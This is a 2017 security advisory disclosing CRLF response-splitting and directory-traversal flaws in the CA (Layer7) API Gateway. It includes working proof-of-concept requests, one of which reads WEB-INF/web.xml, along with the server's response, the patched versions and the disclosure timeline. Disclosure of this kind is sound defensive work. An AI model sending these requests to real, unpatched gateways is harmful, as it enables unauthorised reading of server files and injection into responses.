https://www.osisecurity.com.au/computer-associates-api-gateway-crlf-response-splitting-directory-traversal-vulnerabilities.html Date: 04-Apr-2017 Product: Computer Associates (Layer7) API Gateway Versions affected: v7, v8, v9 Vulnerabilities: 1) CRLF Response Splitting https://[target]:8443/test%0d%0a<h1>string?wsdl Parameters uri='/test <h1>string' did not resolve to any service. https://www.ca.com/us/services-support/ca-support/ca-support-online/product-content/recommended-reading/security-notices/ca20160405-01-security-notice-for-ca-api-gateway.html 2) Directory traversal GET /ssg/../WEB-INF/web.xml HTTP/1.1 Host: [target]:8443 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Accept-Ranges: bytes ETag: W/"18991--1" Last-Modified: Wed, 25 Nov 2015 06:57:05 GMT Content-Type: text/xml ntCoent-Length: 18991 Date: Wed, 25 Nov 2015 06:57:04 GMT Cache-Control: private Content-Length: 18991 <?xml version="1.0" encoding="ISO-8859-1"?> <!-- The ssg (aka UneasyRooster) web application DD --> <web-app xmlns="http://java.sun.com/xml/ns/javaee"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"; xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"; version="3.0"> <display-name>Layer7 Secure Span Gateway</display-name> <!-- Spring configuration file used by the org.springframework.web.context.ContextLoaderListener --> [snip] Credit: Discovered by Patrick Webster Disclosure timeline: 25-Nov-2015 - Discovered during audit. 27-Nov-2015 - Reported to vendor. Vendor response. 19-Mar-2016 - Vendor patched CRLF injection with release 7.1.04, 8.3.01, 8.4.01 09-Aug-2016 - Vendor patched directory traversal with release 7.1.04 , 8.3.01, 8.4.01, and 9.1 04-Apr-2017 - Public disclosure. About OSI Security: OSI Security is an independent network and computer security auditing and consulting company based in Sydney, Australia. We provide internal and external penetration testing, vulnerability auditing and wireless site audits, vendor product assessments, secure network design, forensics and risk mitigation services. We can be found at http://www.osisecurity.com.au/
